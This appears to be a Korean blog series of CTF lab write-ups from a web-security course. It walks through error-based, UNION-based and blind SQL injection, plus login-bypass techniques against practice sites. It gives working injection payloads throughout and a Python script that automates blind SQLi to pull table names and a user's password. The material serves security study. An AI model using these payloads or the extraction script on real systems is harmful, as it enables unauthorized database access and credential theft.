그러한 에러는 페이지의 에러메시지로 표현되게 된다. 

이렇게 공격자는 DB명을 알아낼 수 있게 된다: `errSqli`

 

공격자는 공격을 쉽게 하기 위해 템플릿을 만들 수 있다.

a' and ExtractValue('a', CONCAT('.', (______))) #

(______) 자리에 이제 얻고자 하는 문자열이 나오도록 SELECT문을 짜면 되는 것이다.

 Capture The Flag

이제 이 Error-based SQLi 원리를 이용해 Flag까지 따내어 보겠다.

SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1

이제 이 쿼리를 아까 저 템플릿의 빈칸에 넣으면 공격 input이 완성된다.

a' and ExtractValue('a', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1))) #

table

이렇게 테이블의 이름을 얻어낼 수 있다. 테이블이 더 있을 수도 있으니 `LIMIT 0,1`을 조절해가며 전부 얻어내보겠다.

Flag는 `flagTable` 또는 `plusFlag_Table`에 있을 것으로 보인다.

이제 각각의 칼럼명을 전부 알아내자.

SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1

a' and ExtractValue('a', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1))) #

두 테이블 모두 `idx`, `flag`라는 칼럼을 가지고 있다.

딱 봐도 `idx`보단 `flag`에 Flag가 담겨 있을 것 같으니 해당 칼럼의 값들을 조회해보면..

SELECT flag FROM flagTable LIMIT 0,1

a' and ExtractValue('a', CONCAT('.', (SELECT flag FROM flagTable LIMIT 0,1))) #

Flag

Flag를 얻을 수 있다.

'Study > with normaltic' 카테고리의 다른 글

SegFault CTF - 7주차  (1) 2025.05.28
Blind SQL Injection  (0) 2025.05.25
SegFault CTF - 6주차  (0) 2025.05.14
SegFault CTF - 5주차 - 번외  (0) 2025.05.07
SegFault CTF - 5주차 - 2  (1) 2025.05.06

이번 주차에 제공된 문제(보너스 문제 제외)는 2개다.

SQL Injection 1

SQL Injection 1

User ID를 토대로 유저를 검색할 수 있는 페이지인 것 같다.

진짜인지 'normaltic'을 입력해 확인해보겠다.

SQL 쿼리를 예상해보면 `WHERE id='normaltic'`일 수도 있고, `WHERE id LIKE '%normaltic%'`일 수도 있다. `rmal`만 입력해 어떤 건지 확인해보면, 위와 똑같이 `normaltic`의 유저 정보가 뜬다.

즉, 쿼리는 `WHERE id LIKE '%normaltic%'`인 것으로 예상된다.

이제 다음의 쿼리를 작성해 SQL Injection이 가능한지 확인해보겠다.

normaltic%' and '1%'='1

해당 입력이 들어가면 쿼리는 다음과 같이 완성된다.

SELECT * FROM member WHERE id LIKE '%normaltic%' and '1%'='1%'

`normaltic` 유저의 정보가 정상적으로 뜨는 것을 보아, SQL Injection이 가능한 것 같다.

이제 가져오는 다음의 과정을 통해 DB를 탈취할 수 있다.

  1. 가져오는 칼럼의 수 확인
    칼럼의 개수를 알아야 UNION을 통해 내가 원하는 다른 정보를 이어붙일 수 있다.
  2. DB명 확인
    DB의 이름을 알아야 나중에 확인할 테이블들 중 어떤 테이블을 사용해야하는지 알 수 있다.
  3. 테이블명 확인
    알아낸 DB(schema)에 존재하는 모든 테이블들을 확인한다.
  4. 그 이후는 알아서
    이 뒤부터는 함부로 예측할 수 없다.

칼럼의 수를 확인하는 방법은 여러가지가 있을 수 있는데, 그 중 가장 쉬운 방법은 `ORDER BY` 키워드를 사용하는 것이다.

ORDER BY

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 'id'

이렇게 `ORDER BY 'id'`라고 쓰면 `id`라는 칼럼을 기준으로 정렬을 해준다. 하지만 칼럼의 이름을 쓰지 않고서도 정렬을 할 수 있는 방법이 존재한다.

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 3

이렇게 쓰면 왼쪽에서부터 3번째 칼럼을 기준으로 정렬을 해준다. 만약, 3번째 칼럼이라는게 존재하지 않는다면, 즉, 칼럼이 3개 미만이라면 오류가 나게 된다.

이 점을 활용해 칼럼의 수를 알아낼 것이다. 1씩 높여가며 칼럼의 개수를 확인한다.

 

normaltic%' ORDER BY 3 #

이런 입력을 하게 되면 다음과 같은 쿼리가 작성될 것이다.

SELECT * FROM member WHERE id LIKE '%normaltic%' ORDER BY 3 #%'

끝에 있는 `%'`를 처리하기 위해 주석 `#`을 넣었다.

유저 정보가 정상적으로 출력되지 않을 때까지 1씩 높여가며 확인한다.

확인 결과, 5로 했을 때 유저 정보가 정상적으로 뜨지 않았다. 즉, 칼럼의 개수는 4개라는 것이다.

아마 화면에 출력되는 ID, Level, Rank Point, Rate 칼럼을 가져오는게 아닐까 싶다. 확실히 알고 싶다면 다음 입력을 보내면 된다.

normaltic%' UNION SELECT 1,2,3,4 #

이제 DB명을 확인할 차례다.

DATABASE()

데이터베이스의 이름을 확인하는 방법 또한 여러가지 있을 수 있지만, 가장 쉬우면서도 현재 사용중인 DB의 이름을 알아낼 수 있는 방법을 사용하겠다.

SELECT DATABASE()

`DATABASE()` 함수는 내장 함수로, 현재 사용중인 DB의 이름을 문자열로 반환한다.

normaltic%' UNION SELECT DATABASE(),2,3,4 #

라는 입력을 보내면 DB의 이름이 출력될 것이다.

`sqli_1`가 DB의 이름인 것을 알 수 있다.

Table Name

저번 Blind SQL Injection을 했던 것과 마찬가지로 `information_schema.tables` 테이블을 통해 테이블명을 확인할 수 있다.

모든 테이블들을 출력해버리면 구분하기 힘드니 WHERE 절로 DB(schema)가 `sqli_1`인 것만 출력하도록 하겠다.

SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_1'

SQLi 공격은 다음과 같이 하면 된다.

normaltic%' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='sqli_1' #

`flag_table`, `plusFlag_Table`, `user_info`라는 테이블을 가져왔다.

Column Name

이번엔 칼럼의 이름을 하나씩 가져와보겠다.

SELECT column_name FROM information_schema.columns WHERE table_name='flag_table'
normaltic%' UNION SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_name='flag_table' #

`flag_table`에는 `flag`라는 칼럼 하나만 존재한다. 또다른 플래그가 저장돼있을 것으로 의심되는 테이블 `plusFlag_Table`을 열어보면 다음과 같다.

UNION

이제 두 테이블들을 한꺼번에 다 출력해보겠다.

normaltic%' UNION SELECT flag,2,3,4 FROM flag_table UNION SELECT idx,flag,3,4 FROM plusFlag_Table #

offline_segfault 플래그는 뭔지 모르겠다.

SQL Injection 2

SQL Injection 2

이번엔 유저 전체 정보를 보여주지는 않는다. placeholder에 normaltic이 적혀 있으니 한 번 입력해보겠다.

검색이 된다. 이번에도 아까처럼 `LIKE`를 이용한건지 `=`를 이용한건지 확인하기 위해 `rmal`만 입력해보겠다.

뭔가 뜨는 것 같지만, ID가 입력한 그대로 나와있다. 게다가 Info에는 아무것도 적혀있지 않다. 이 입력을 통해 알 수 있는 사실이 4가지 있다.

  1. ID는 무조건 입력한 그대로로 출력된다.
  2. DB에 존재하지 않더라도 일단 최소 하나의 데이터를 출력한다.
  3. 쿼리문은 `LIKE`가 아니라 `=`를 사용한다.
  4. 정상적으로 출력이 된다면 Info에 문구가 뜰 것이다.(normaltic ID 한정)

이제 SQLi가 가능한지 확인을 해봐야한다.

normaltic' and '1'='1

정상적으로 출력되는 것을 보아, SQLi가 가능한 것 같다. 바로 아까처럼 칼럼의 수를 알아내보겠다.

normaltic' ORDER BY 7 #

7부터 안 되는 것을 보아, 칼럼의 개수는 6개다. 바로 UNION을 통해 DB명을 확인해보겠다.

normaltic' UNION SELECT DATABASE(),2,3,4,5,6 #

에러가 난 것도 아닌데 normaltic 유저의 정보밖에 뜨지 않는다. 처음에 유저 전체 정보를 안 보여줬던 것도 그렇고, 아예 행을 최대 하나까지밖에 안 보여주는게 아닐까? 이를 확인해보기 위해서는 다른 유저 정보가 있는지 확인해볼 필요가 있다.

' or '1'='1

... 첫번째 유저가 normaltic인 것 같다. LIMIT을 통해 다른 행을 출력해보겠다.

' OR '1'='1' LIMIT 1,1 #

분명 다른 유저의 정보가 있음에도 불구하고 `' OR '1'='1` 입력에서 하나의 행만을 출력한 것을 보면, 쿼리 결과에서 맨 위의 한 행만 출력하도록 하는 것으로 추측된다.

그렇다면 애초에 normaltic의 정보를 출력하지 않도록 하면 된다.

' UNION SELECT DATABASE(),2,3,4,5,6 #

어떤 칼럼이 출력되는지 확인하지 않았다보니 DB명을 확인할 수 없었다.. Info 자리에 6이 뜨는 것을 보니, 6번째 칼럼 자리에서 원하는 결과를 확인해봐야 할 것 같다.

' UNION SELECT 1,2,3,4,5,DATABASE() #

DB명은 `sqli_5`인 것을 확인할 수 있다. 이와 같이 테이블명도 확인해보겠다.

' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5

다음은 칼럼의 이름이다. 

' UNION SELECT 1,2,3,4,5,column_name FROM information_schema.columns WHERE table_name='flag_honey

이 flag에 들어있는 값을 바로 확인해보겠다.

' UNION SELECT 1,2,3,4,5,flag FROM flag_honey #

?

 

 

간과한 점이 있다. 여기서는 행을 딱 하나만을 출력해준다는 점을 잊어서는 안 된다. 애초에 테이블을 찾았을 때 `flag_honey`라는 테이블만 염두에 뒀던 부분부터 잘못됐다. 다음의 입력을 통해 테이블이 총 몇 개 있는지부터 확인해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM information_schema.tables WHERE table_schema='sqli_5

총 3개의 테이블이 존재한다는 것을 확인할 수 있다. 나머지 두 개의 테이블명도 확인해보겠다.

' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' LIMIT 1,1 #

`flag_honey` 이외에도 `game_user`, `secret`이라는 테이블이 있었다. 딱 봐도 `secret` 테이블이 수상하니 `secret` 테이블부터 조사해보겠다. `flag_honey`는 너무 대놓고 플래그가 있을 것처럼 유혹하는 것 같아서 하기 싫다.

또 당할 수 없으니 꼼꼼하게 칼럼의 개수부터 조사해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM information_schema.columns WHERE table_name='secret

칼럼의 개수는 다행히 한 개다. 이 하나의 칼럼 이름을 찾아보겠다.

' UNION SELECT 1,2,3,4,5,column_name FROM information_schema.columns WHERE table_name='secret

칼럼의 이름은 `flag`, 이거 하나뿐이다.

하지만 방심할 수 없다. 행의 개수 또한 조사해보겠다.

' UNION SELECT 1,2,3,4,5,COUNT(*) FROM secret #

2개다. 또 낚시가 있는 것 같다. 일단 미끼부터 물어보겠다.

' UNION SELECT 1,2,3,4,5,flag FROM secret #

...

미끼인 걸 알고 있었으니 정신승리하고 넘어가겠다.

' UNION SELECT 1,2,3,4,5,flag FROM secret LIMIT 1,1 #

다행히 함정이 더 있진 않다.

'Study > with normaltic' 카테고리의 다른 글

Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25
SegFault CTF - 5주차 - 번외  (0) 2025.05.07
SegFault CTF - 5주차 - 2  (1) 2025.05.06
SegFault CTF - 5주차 - 1  (0) 2025.05.06

Login Bypass 3

이 문제에서 막혔다.

`UNION`이라는 문법을 모르고 있었기 때문에 여러가지 방법을 시도하다가 결국 이상한 길로 빠져버리게 됐다.

구글링 도중 특이한 방식의 SQL Injection을 찾아냈다.

Login Bypass 3과 같이 DB에 있는 데이터를 전혀 출력해주지 않아도 DB의 데이터들을 얻어낼 수 있는 공격 기법이였다.

Blind SQL Injection

사이트의 반환을 기준으로 참인지 거짓인지 판단하며 아주 일부의 정보를 조금씩 뜯어내는 SQL Injection 기법이다.

doldol' and '1'='1

SQLi가 통하는지 확인하기 위한 문구다.

and 뒤에 다른 것을 물어봐서 SQLi의 가능 여부가 아닌 다른 걸 물어보자.

ID: doldol' and 혹시 id가 normaltic3인 유저의 비밀번호 맨 앞 글자가 t인가요? #
PW: dol1234

만약 진짜 맨 앞 글자가 t라면 참을 반환할 것이다.

그럼 `참 and 참`이므로 성공적으로 로그인이 될 것이다. 만약 앞 글자가 t가 아니라면 로그인에 실패할 것이다.

성공적으로 로그인이 됐다고 가정하자. 그럼 다음 질문을 할 것이다.

ID: doldol' and 그럼 id가 normaltic3인 유저의 비밀번호 두번째 글자는 m인가요? #
PW: dol1234

이런 식으로 끝까지 물어보면 normaltic3의 진짜 비밀번호를 알아낼 수 있다.

 

하지만 문제가 있다. 

어떻게 물어볼 것인가?

information_schema

일단 칼럼명이 진짜로 id인지 아님 uid인지 user_id인지 member_id인지조차 모른다.

아는 게 너무 없다. 칼럼명을 알아내기 위해서 일단 테이블명부터 알아내야 한다.

SELECT table_name FROM information_schema.tables

information_schema라는 DB의 tables 테이블에는 해당 MySQL 서버에 존재하는 모든 테이블의 정보를 가지고 있다.

그 정보에는 당연하게 테이블의 이름 또한 포함돼있다.

 

근데 이 테이블 이름을 어떻게 내 화면까지 띄울 수 있는가?

일단 테이블의 이름들을 한꺼번에 가져올 수 있는 방법은 없다.

하지만 위에서 서술했던 것과 같이, N번째 글자가 i인지 아닌지 물어볼 수는 있다.

여기서 `ASCII()`, `SUBSTR()` 함수를 사용한다.

ID: doldol' and (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables LIMIT 0,1)=105 #
PW: dol1234

SUBSTR(`[문자열]`, `[시작할 위치]`, `[자를 문자열의 길이]`)

즉, 선택된 테이블의 이름이 my_table이라면, m만 선택되게 된다. 

ASCII(`[문자]`)

m의 ASCII 코드값을 반환한다. 즉, 109를 반환한다.

그럼 `109=105`는 거짓이 되어 로그인에 실패하게 된다.

LIMIT `[시작할 인덱스]`,`[가져올 행의 개수]`

`LIMIT 0,1`을 통해 하나의 값으로 좁힐 수 있게 해야 한다. 다음 행의 테이블 명을 알아내려면 `LIMIT 1,1` 이런 식으로 작성하면 된다.

ID: doldol' and (SELECT ASCII(SUBSTR(table_name, 1, 1)) FROM information_schema.tables LIMIT 0,1)=109 #
PW: dol1234

105를 좀 조정해서 109를 넣어 이런 입력을 하면 로그인이 될 것이다.

이 귀찮은 과정을 손으로 할 수는 없다.

자동화 코드를 작성해서 컴퓨터가 구하게끔 해야할 것이다. 하지만 여기에도 문제가 있다.

테이블 이름의 길이가 얼마일줄 알고 반복문을 돌릴 것인가? 우리는 테이블 이름의 길이를 우선 알 필요가 있다.

이 때 `LENGTH()`라는 함수를 사용한다.

ID: doldol' and (SELECT LENGTH(table_name) FROM information_schema.tables LIMIT 0,1)=1 #
PW: dol1234

이 또한 1부터 조금씩 올려가면서 길이를 찾아야 한다.

import requests

url = "~~~/login3/login.php"

length = 1
while(True):
    id = f"doldol' and (SELECT LENGTH(table_name) \
    	FROM information_schema.tables LIMIT 0,1)={length} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    length += 1

print("\nLength:", length)

datas 오브젝트에 저런 키값이 들어간 건 평소 송수신되는 패킷을 보면 알 수 있다.

'UserId'에 id값, 'Password'에 비밀번호, 'Submit'에는 'Login'이 고정적으로 들어간다.

로그인에 성공하면 자동으로 리다이렉션이 되는 것을 막기 위해 `allow_redirects`를 `False`로 둔다.

또한 로그인에 성공하면 리다이렉션이 이뤄진다는 것을 이용해, status_code를 가져와 302일 때 로그인에 성공한 것으로 받아들인다.

Length: 14

이제 겨우 길이를 알아냈다.

그래도 길이를 알아냈으니 이제 반복문을 돌려 테이블명을 알아낼 수 있게 됐다.

table = ""
for i in range(1, length + 1):
    for j in range(32,126):
        id = f"doldol' and (SELECT ASCII(SUBSTR(table_name, {i}, 1)) \
        	FROM information_schema.tables LIMIT 0,1)={j} #"
        pw = "dol1234"
        datas = {
            'UserId' : id,
            'Password' : pw,
            'Submit' : 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            table += chr(j)
            break

print(table)

table_name : CHARACTER_SETS

이제 이 과정을 테이블의 개수(table_name 행의 수)만큼 반복하면 된다...

테이블의 개수만큼 반복한다? 그럼 테이블의 개수 또한 알아야 한다.

ID: doldol' and (SELECT COUNT(*) FROM information_schema.tables LIMIT 0,1)=1 #
PW: dol1234
import requests

url = "~~~/login3/login.php"

count = 1
while(True):
    id = f"doldol' and (SELECT COUNT(*) \
    	FROM information_schema.tables LIMIT 0,1)={count} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    count += 1

print(f"Count of tables : {count}")

이렇게 해본 결과는...

296

무려 296개의 테이블이 존재한다는 것을 알아낼 수 있다.

이 296개의 테이블의 이름을 전부 알아낸다는 것은 엄청 오래 걸리는 일이다. 따라서 우리가 필요로 하는, 즉, MySQL에서 자동으로 관리하는 테이블들을 제외한 테이블만 뽑아낼 필요가 있다.

내가 따로 공부하느라 만든 DB 서버의 테이블 목록을 살펴보니, `table_schema`가 `information_schema`, `sys`, `mysql`, `performance_schema`인 테이블은 MySQL에 의해 관리되는 테이블인 것으로 보였다. 따라서 이 네 개 중 하나에 속하는 `table_schema` 값을 가진 테이블은 제외하도록 했다.

ID: doldol' and (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','sys','mysql','performance_schema') LIMIT 0,1)=1 #
PW: dol1234

코드는 생략하겠다.

16

테이블의 개수가 16개로 확 줄어든 것을 볼 수 있다.

이 테이블의 이름을 이제 전부 알아내보겠다.

table names

16개의 테이블 이름을 전부 알아냈다. 겨우 이 16개의 테이블명을 알아내는데 무려 112초가 걸렸다. 296개의 테이블명을 전부 알아내려고 했다면.. 엄청 오랜 시간을 들여야 했을 것이다.(어떤게 중요한 테이블인지 몰랐던 필자는 처음에 296개를 다 뽑아봤다 ...)

 

로그인에 사용되는 것으로 추정되는 테이블 6개가 있다. 

`login1`, `login2`, `user`, `login1`, `login2`, `user_info`

`login1`과 `login2` 테이블이 두 개씩 존재하는 이유는 각 테이블이 저장된 DB가 다르기 때문이다. 해당 테이블의 `table_schema`를 알아내면 `segFault_sqli`와 또다른 하나의 DB가 존재한다는 것을 알 수 있다. 테스트를 해보면 결국 `segFault_sqli` DB에 존재하는 `login1` 테이블이 실제 CTF에 사용되는 테이블이라는 것을 확인할 수 있다. 그 과정은 생략하도록 하겠다. 어차피 DB명은 쓸 필요가 없기 때문이다. (실제 코드에서 다른 DB에 있는 걸 꺼내와서 쓴다면 말이 달라질 수도 있긴 하다)

 

이제 테이블의 칼럼명을 알아낼 차례가 왔다. 테이블명을 찾을 때와 유사한 방법으로 칼럼명 또한 알아낼 수 있다.

SELECT column_name FROM information_schema.columns WHERE table_name='login1'

칼럼명을 알아내기 위해서는 `information_schema` DB의 `columns` 테이블을 참조한다.

실제 SQLi는 다음과 같이 작성될 것이다.

ID: doldol' and (SELECT ASCII(SUBSTR(column_name, 1, 1)) FROM information_schema.columns WHERE table_name='login1' LIMIT 0,1)=32 #
PW: dol1234

테이블명을 알아낼 때 사용했던 방식과 거의 유사하다. 그저 사용하는 테이블과 칼럼만 바뀌었을 뿐이다.

column names in login1

`login1`이라는 테이블이 두 개라서 두 테이블의 칼럼명을 전부 알아냈다. 여기서 핵심은 `id`와 `pass`이다. 이 두 칼럼에서 각각 ID와 비밀번호를 담당할 것이다. 정말인지는 다음의 입력을 통해 확인할 수 있다.

ID: doldol' and id='doldol' and pass='dol1234
PW: dol1234

해당 로그인 로직에서 사용하는 칼럼명이 확실히 `id`와 `pass`라면 정상적으로 로그인이 될 것이다.

Check column names

정상적으로 로그인이 된다.

이제 칼럼명도 알았겠다, 남은건 `normaltic3`의 비밀번호를 알아내는 것이다. 

ID: doldol' and (SELECT ASCII(SUBSTR(pass,1,1)) FROM login1 WHERE id='normaltic3')=32 #
PW: dol1234

이 방법을 통해 알아낸 비밀번호로 로그인이 되지 않는다면, `login1` 테이블이 아닌 다른 테이블일 가능성이 존재한다. 그건 나중에 생각하자.

import requests

url = "~~~/login3/login.php"

table = 'login1'

length = 1
while(True):
    id = f"doldol' and (SELECT LENGTH(pass) \
    	FROM {table} WHERE \
        id='normaltic3')={length} #"
    pw = "dol1234"
    datas = {
        'UserId' : id,
        'Password' : pw,
        'Submit' : 'Login'
    }
    response = requests.post(url, data=datas, allow_redirects=False)
    if(response.status_code == 302):
        break
    length += 1

password = ""
for i in range(1, length + 1):
    for j in range(32,126):
        id = f"doldol' and (SELECT ASCII(SUBSTR(pass,{i},1)) \
        FROM {table} WHERE id='normaltic3')={j} #"
        pw = "dol1234"
        datas = {
            'UserId' : id,
            'Password' : pw,
            'Submit' : 'Login'
        }
        response = requests.post(url, data=datas, allow_redirects=False)
        if(response.status_code == 302):
            password += chr(j)
            break

print(password)

normaltic3's password

얻어낸 이 비밀번호를 시도해보면,

Flag

Flag를 따낼 수 있다.

만약 로그인이 안 됐다면 `login2` 테이블로 시도해봤을 것이다.

 

비밀번호 상태를 보아하니 이렇게 비밀번호를 직접 알아내는 것을 의도한 문제는 아닌 것 같다.

 

 

p.s.

사실 Login Bypass 4 문제도 이 방식으로 날먹을 시도했으나 안 되길래 당황했다..

이상하다 싶어 doldol의 비밀번호를 이 방식을 통해 가져오니 `dol1234`가 아닌 웬 `fe350b2ff979b0e0ea1844ed644ecafe`라는 값이 나왔다. 혹시 싶어 `dol1234`를 MD5로 암호화해봤더니 `fe350b2ff979b0e0ea1844ed644ecafe`와 일치했다. 이 덕분에 Login Bypass 4는 MD5 해싱까지 들어갔다는 사실을 알게 됐다..

 

어쩐지 login2 테이블을 쓰더라..

'Study > with normaltic' 카테고리의 다른 글

Error-based SQL Injection  (0) 2025.05.25
SegFault CTF - 6주차  (0) 2025.05.14
SegFault CTF - 5주차 - 2  (1) 2025.05.06
SegFault CTF - 5주차 - 1  (0) 2025.05.06
SegFault CTF - 4주차  (0) 2025.04.24

5. Login Bypass 1

Login Bypass 1

normaltic1으로 로그인하는 것이 목표인 문제인듯 하다.

Login In

어디서 본듯한 로그인 창이다. 처음 제공받은 ID: doldol, PW: dol1234로 로그인을 해보겠다.

Login Request & Response

저번처럼 쿠키를 이용한 방식은 아닌듯 하다. 보통 로그인 정보는 DB에 보관하니, 혹시 로그인 창에서 SQL Injection이 가능한지 시도해보겠다.

ID에 `doldol' and '1'='1`을 적어, SQL Injection이 가능한지 판별한다. 만약 불가능하다면 로그인이 되지 않고, 가능하다면 로그인이 될 것이다.

로그인이 됐다. SQL Injection이 먹힌다는 것을 알 수 있다.

로그인 로직은 여러가지 다양한 방법으로 구현할 수 있는데, 그 중 가장 단순한 방법으로 생각해보겠다.

$id = $_POST['id'];
$pw = $_POST['pw'];

$sql = "SELECT * FROM member WHERE id='{$id}' and pw='{$pw}'";

테이블명은 `member`, id와 pw에 관한 칼럼명은 `id`, `pw`로 가정했다.

만약 이런 식으로 SQL문이 작성돼있다면 SQL Injection 코드는 다음과 같이 짤 수 있다.

ID: normaltic1' #

이 값이 ID에 들어간다면 SQL문은 다음과 같이 완성될 것이다.

SELECT * FROM member WHERE id='normaltic1' #' and pw='aaaa'

# 이후부터는 주석 처리되어 id만을 가지고 로그인을 할 수 있게 된다.

First SQLi Try

안 된다. 내가 생각한 SQL문이 아닌 것이다.

그렇다면 SQL문이 이렇게 작성돼있을 수도 있다.

// 위와 동일

$sql = "SELECT * FROM member WHERE id='{$id}' \n and pw='{$pw}'";

SQL문이 이렇게 작성돼 있으면 아까 시도했던 SQLi는 이런 식으로 들어간다.

SELECT * FROM member WHERE id='normaltic1' #'
and pw='f'

개행이 되어있어 비밀번호 검사를 무시할 수 없는 것이다.

이런 식으로 개행이 들어가있게 된다면 다른 방식으로 SQLi를 진행할 수 있다.

SQLi 1

ID: normaltic1' or '1'='1

이 SQLi를 이용하면 SQL문은 이렇게 된다.

SELECT * FROM member WHERE id='normaltic1' or '1'='1'
and pw='f'

`'1'='1' and pw='f'`의 결과는 항상 False일 것이다. 그럼 `id='normaltic1' or False`가 되어, `id`가 `normaltic1`일 때 True가 되기 때문에 비밀번호 검증 없이 `id`가 `normaltic1`인 계정으로 로그인할 수 있다.

SQLi 2

ID: normaltic1' /*
PW: */ #

이 방식을 이용하면 SQL문은 이렇게 된다.

SELECT * FROM member WHERE id='normaltic1' /*
and pw='*/ #'

비밀번호 검사 부분을 전부 주석처리하는 방법이다. `/* */`를 이용하면 여러줄을 주석처리할 수 있다는 점을 이용한 것이다.

 

이 중 첫번째 방식으로 SQLi를 진행해보겠다.

Second SQLi Try
Flag

SQLi가 성공적으로 진행됐다.

이러면 아마 php 코드는 

$id = $_POST['id'];
$pw = $_POST['pw'];

$sql = "SELECT * FROM member WHERE id='{$id}' \n and pw='{$pw}'";

이런 식으로 작성돼 있었을 것이다.

6. Login Bypass 2

Login Bypass 2

아까와 같은 방식인 것 같다.

Check SQLi availability

바로 SQLi가 가능한지 확인해보겠다.(패킷 송수신 과정에서는 취약점을 발견하지 못했다)

SQLi available

SQLi가 가능한 것을 확인했다.

First SQLi Try

아까와 같은 방식으로 로그인 로직이

$id = $_POST['id']
$pw = $_POST['pw']

$sql = "SELECT * FROM member WHERE id='{$id}' and pw='{$pw}'"

인 것으로 가정하고 가장 기본적인 SQLi를 시도해보겠다.

Flag

?

7. Login Bypass 3

Login Bypass 3

또 똑같은 패턴이다.

이번엔 `normaltic3' #`에 뚫리지 않길 바란다.

First SQLi Try

이번엔 실패했다.

그렇다면 Login Bypass 1에서 시도했던 것처럼 `normaltic3' or '1'='1`로 시도해보겠다.

Second SQLi Try

이번엔 그리 호락호락하지 않은 문제인듯 하다.

Login Bypass 1과 2에서 보여주진 않았지만, 사실 두 문제에서는 비밀번호 입력창에서도 SQLi이 가능했다.

비밀번호 입력창에서의 SQLi 가능 여부 또한 다음과 같은 입력으로 확인할 수 있다.

ID: doldol
PW: dol1234' and '1'='1

Check PW input's SQLi availability

로그인이 안 되는 것을 보면 비밀번호 입력창에서는 SQLi이 안 된다. 

그럼 혹시, ID 입력 창에서도 안 되는건 아닐까?

Check ID input's SQLi availability
ID input's SQLi is available

다행히 ID 입력창에서는 SQLi이 가능하다.

ID 입력창에서는 되는데 PW 입력창에서는 안 된다.. 그렇다면 로그인 로직이 이런 식으로 돼있을 수 있다고 생각할 수 있다.

 $id = $_POST['id'];
 $pw = $_POST['pw'];
 
 $sql = "SELECT pw FROM member WHERE id='{$id}'";
 $result = $db_conn->query($sql);
 
 $row = $result->fetch_array();
 if($row['pw'] == $pw) {
 	// Login Success
 } else {
 	// Login Fail
 }

4번째 줄에서 `pw`만을 SELECT한다고 예상했지만, 그에 대한 근거는 아직 없다. `pw` 말고도 다른 칼럼 또한 가져올 수도 있다.

 

이렇게 ID와 PW를 따로, 즉, 식별과 인증을 분리해서 하는 경우에도 SQLi이 가능하다.

' UNION SELECT 'blah

이 SQLi가 들어가면 SQL문은 다음과 같이 된다.

SELECT pw FROM member WHERE id='' UNION SELECT 'blah'

이 SQL문에 대해 설명하기 전, 정상적으로 작동했을 때의 동작 과정을 먼저 살펴보겠다.

ID: doldol, PW: dol1234로 로그인을 한다면 `SELECT pass FROM member WHERE id='doldol'`을 통해 다음과 같은 테이블이 불러와졌을 것이다.

pw
dol1234

그럼 이 안에 있는 pass 값, `dol1234`를 사용자 입력 `dol1234`와 비교하여 로그인이 정상적으로 처리된다.

그럼 다음과 같은 SQL문이 실행된다면 어떻게 될까?

SELECT pw FROM member WHERE id='doldol' UNION SELECT 'blah'
pw
dol1234
blah

이렇게 되어도 일단 가장 위에 있는 값인 `dol1234`로 비교할 것이다. 그럼 `dol1234`를 없애보자. 그러기 위해서는 SQL문에서 id에 없는 값을 넣으면 된다. 그게 바로 아까 소개한 SQL문이다.

SELECT pw FROM member WHERE id='' UNION SELECT 'blah'
pw
blah

이렇게 되면 `blah`라는 값과 사용자 입력을 비교할 것이다. 즉, SQLi를 이런 식으로 작성하면 된다.

ID: ' UNION SELECT 'blah
PW: blah

Third SQLi Try

실패다.

하지만 간과한 것이 하나 있다.

아까 말했듯이 실제로 어떠한 칼럼을, 몇 개의 칼럼을 가져오는지 모른다.

만약 칼럼의 수가 안 맞는다면 쿼리가 실패하게 되어 로그인도 실패하게 된다.

이를 이용해 칼럼의 수를 알아낼 수 있다.

ID: doldol' UNION SELECT 1,2,3,4,5 #
PW: dol1234

1,2,3,4,5 -> 1,2,3,4 -> 1,2,3 -> 1,2 -> 1 이런 식으로 개수를 줄여가면서 로그인이 되는 점을 찾는다.

Find count of columns

이런 식으로 하다가

count of columns: 2

1, 2에서 로그인이 되는 것을 확인할 수 있다.

즉, 가져오는 칼럼의 수가 두 개라는 것이다.

?? pw
?? dol1234

상식적으로 생각하면 나머지 하나의 칼럼은 아마 id일 것이다.

id pw
normaltic3 blah

그럼 이러한 테이블을 가져오도록 하면 된다. 아까 UNION을 이용한 것처럼 하면 된다.

ID: ' UNION SELECT 'normaltic3','blah
PW: blah

Fourth SQLi Try
Flag

사실 난 처음에 이 방법을 전혀 몰랐어서 다른 방법으로 풀었다. 그 다른 방법은 글을 따로 작성하겠다.(엄청 먼 길을 돌아가는 방식이다)

8. Login Bypass 4

Login Bypass 4

여러가지 시도해보면, Login Bypass 3와 같이 식별 / 인증을 분리해서 한다는 것을 알 수 있다.

그럼 아까와 같이 이 SQLi를 시도해보자.

ID: ' UNION SELECT 'normaltic4','blah
PW: blah

First SQLi Try

흠... 내가 생각한 로직이 아닌가 싶어 다음의 SQLi를 써본다.

ID: ' UNION SELECT 'doldol','dol1234
PW: dol1234

Logic check

id pw
doldol dol1234

이 테이블이 안 먹힌 것이다.

혹은 칼럼의 순서가 틀렸을 수도 있다.

pw id
dol1234 doldol

Logic Check 2

확실히 칼럼의 수는 2개다.(아까처럼 해보면 2개인 것을 알 수 있다)

